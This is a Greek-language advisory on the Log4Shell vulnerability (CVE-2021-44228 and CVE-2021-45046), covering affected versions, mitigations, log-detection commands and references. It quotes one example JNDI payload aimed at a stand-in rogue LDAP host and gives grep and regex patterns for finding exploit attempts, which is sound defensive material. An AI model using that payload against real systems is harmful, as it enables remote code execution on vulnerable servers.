Πρόσφατα ανακαλύφθηκε μια κρίσιμη ευπάθεια (CVE-2021-44228) η οποία επηρεάζει τις εκδόσεις Log4j από 2.0-beta9 ως 2.14.1, και είναι κρίσιμης σημασίας, καθώς μπορεί να γίνει εκμεταλλεύσιμη εξ αποστάσεως από έναν μη αυθεντικοποιημένο επιτιθέμενο δίνοντάς του την δυνατότητα για απομακρυσμένη εκτέλεση κώδικα (remote code execution– RCE). Η κρισιμότητα της ευπάθειας έχει βαθμολογία 10 (στα 10) στο κοινό σύστημα βαθμολόγησης ευπαθειών (CVSS) που περιγράφει πόσο σοβαρή είναι η ευπάθεια.
Η Log4j είναι μια δημοφιλής βιβλιοθήκη για την Java που αναπτύχθηκε και συντηρείται από την Apache. Έχει υιοθετηθεί ευρέως και χρησιμοποιείται σε πολλά εμπορικά προϊόντα και προϊόντα λογισμικού ανοιχτού κώδικα ως πλαίσιο καταγραφής για Java.
Η ευπάθεια προκύπτει από τον τρόπο χειρισμού των μηνυμάτων καταγραφής (logs) από τον επεξεργαστή log4j. Εάν ένας επιτιθέμενος στείλει ένα ειδικά διαμορφωμένο μήνυμα (περιέχει μια συμβολοσειρά όπως ${jndi:ldap://rogueldapserver.com/a}), αυτό μπορεί να έχει ως αποτέλεσμα τη φόρτωση μιας εξωτερικής κλάσης κώδικα ή αναζήτησης μηνύματος και την εκτέλεση αυτού του κώδικα, οδηγώντας σε μια κατάσταση που είναι γνωστή ως απομακρυσμένη εκτέλεση κώδικα (RCE).
(Ανανέωση 15-12-2021) Νέα ευπάθεια CVE-2021-45046: Διαπιστώθηκε ότι η ενημέρωση κώδικα για την ευπάθεια CVE-2021-44228 στο Apache Log4j 2.15.0 ήταν ελλιπής σε ορισμένες μη προεπιλεγμένες ρυθμίσεις. Αυτό θα μπορούσε να επιτρέψει στους επιτιθέμενους να έχουν τον έλεγχο των δεδομένων εισόδου του Thread Context Map (MDC) όταν η ρύθμιση καταγραφής χρησιμοποιεί μια μη προεπιλεγμένη διάταξη μοτίβων είτε με αναζήτηση Context Lookup (για παράδειγμα, $${ctx:loginId}) είτε με μοτίβο Thread Context Map ( %X, %mdc ή %MDC) για τη δημιουργία κακόβουλων δεδομένων εισόδου χρησιμοποιώντας ένα μοτίβο αναζήτησης JNDI που οδηγεί σε επίθεση άρνησης υπηρεσίας (DOS). Το Log4j 2.15.0 κάνει την καλύτερη δυνατή προσπάθεια να περιορίσει τις αναζητήσεις JNDI LDAP στον localhost από προεπιλογή. Το Log4j 2.16.0 διορθώνει αυτό το ζήτημα καταργώντας την υποστήριξη για μοτίβα αναζήτησης μηνυμάτων και απενεργοποιώντας τη λειτουργικότητα JNDI από προεπιλογή.
Μέτρα Αντιμετώπισης
– Προτείνεται η άμεση αναβάθμιση στην έκδοση 2.15.0 του λογισμικού. Από την έκδοση Log4j 2.15.0 αυτή η δυνατότητα είναι πλέον απενεργοποιημένη από προεπιλογή. Πρέπει να δοθεί προσοχή να ΜΗΝ ΕΧΕΙ ενεργοποιηθεί αυτή η επιλογή λανθασμένα στην έκδοση 2.15.0.Εάν δεν είναι εφικτή η αναβάθμιση στην έκδοση 2.15.0 ακολουθήστε τα ακόλουθα μέτρα περιορισμού.
(Ανανέωση 15-12-2021) Προτείνεται η άμεση αναβάθμιση στην έκδοση 2.16.0 του λογισμικού προκειμένου να μετριαστούν και οι δύο ευπάθειες CVE-2021-45046 και CVE-2021-44228.
– Στις εκδόσεις >= 2.10, αυτή η συμπεριφορά μπορεί να μετριαστεί ορίζοντας είτε την ιδιότητα συστήματος (system property) “log4j2.formatMsgNoLookups” είτε τη μεταβλητή περιβάλλοντος (environmental variable) “LOG4J_FORMAT_MSG_NO_LOOKUPS” σε “true”.
– Για εκδόσεις >= 2.7 και <= 2.14.1, όλα τα μοτίβα PatternLayout μπορούν να τροποποιηθούν για να οριστεί ο μετατροπέας μηνυμάτων ως “%m{nolookups}” αντί για “%m”.
– Για εκδόσεις >= 2.0-beta9 και <= 2.10.0, ο μετριασμός είναι η κατάργηση της κλάσης “JndiLookup” από τη διαδρομή/μονοπάτι με την ακόλουθη εντολή: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/ JndiLookup.class
(Ανανέωση 15-12-2021): Οι προγραμματιστές του Log4j κυκλοφόρησαν μια νέα έκδοση Log4j 2.16.0. Η νέα έκδοση Log4j 2.16.0 απενεργοποιεί τη λειτουργικότητα JNDI από προεπιλογή. Επίσης, η υποστήριξη για “Αναζητήσεις μηνυμάτων” (message Lookups)έχει καταργηθεί. Για περισσότερες πληροφορίες:
https://lists.apache.org/thread/d6v4r6nosxysyq9rvnr779336yf0woz4
Ανίχνευση
Μπορείτε να ελέγξετε για προσπάθειες εκμετάλλευσης της — ανεξάρτητα από το αν ήταν επιτυχείς ή όχι — στα αρχεία καταγραφής (logs)του web server χρησιμοποιώντας την ακόλουθη εντολή:
sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log/
ή με την χρήση regex:
\${(\${(.*?:|.*?:.*?:-)(‘|”|`)*(?1)}*|[jndi:lapsrm](‘|”|`)*}*){9,11}
Ελέγξτε τα αρχεία καταγραφής περιμέτρου του δικτύου σας για την παρουσία της λίστας ενδεικτών παραβίασης (IOC).
Ενημερώσεις – πληροφορίες
Έχει δημιουργηθεί στο Github αποθετήριο το οποίο αφορά την ευπάθεια το οποίο ανανεώνεται διαρκώς για ενημέρωση των οργανισμών στον ακόλουθο υπερσύνδεσμο και περιλαμβάνει λίστα με τα επηρεαζόμενα συστήματα, ενδείκτες παραβίασης(IoCs),μέτρα αντιμετώπισης, τρόποι ανίχνευσης κλπ.
https://github.com/NCSC-NL/log4shell
Προτρέπουμε να ελέγξετε τις υποδομές σας για τη χρήση του Log4j και να εφαρμόσετε τις αντίστοιχες ενημερώσεις κώδικα το συντομότερο δυνατό. Συνιστάται στους οργανισμούς να ελέγχουν τακτικά τη λίστα στο GitHub για ενημερώσεις σχετικές με τον οργανισμό τους. Εκτός από μια λίστα λογισμικού και ενημερώσεων κώδικα, το GitHub παρέχει επίσης μια επισκόπηση εργαλείων, IoC και κανόνων Yara.
Παρακαλούμε πολύ για την ανταλλαγή οποιονδήποτε πληροφοριών / προσπαθειών ανίχνευσης στα δίκτυά σας προκειμένου να ευρεθούν πιθανοί ενδείκτες παραβίασης (IoCs).
https://logging.apache.org/log4j/2.x/security.html
https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
https://github.com/NCSC-NL/log4shell
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://www.ncsc.nl/actueel/advisory?id=NCSC-2021-1052
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046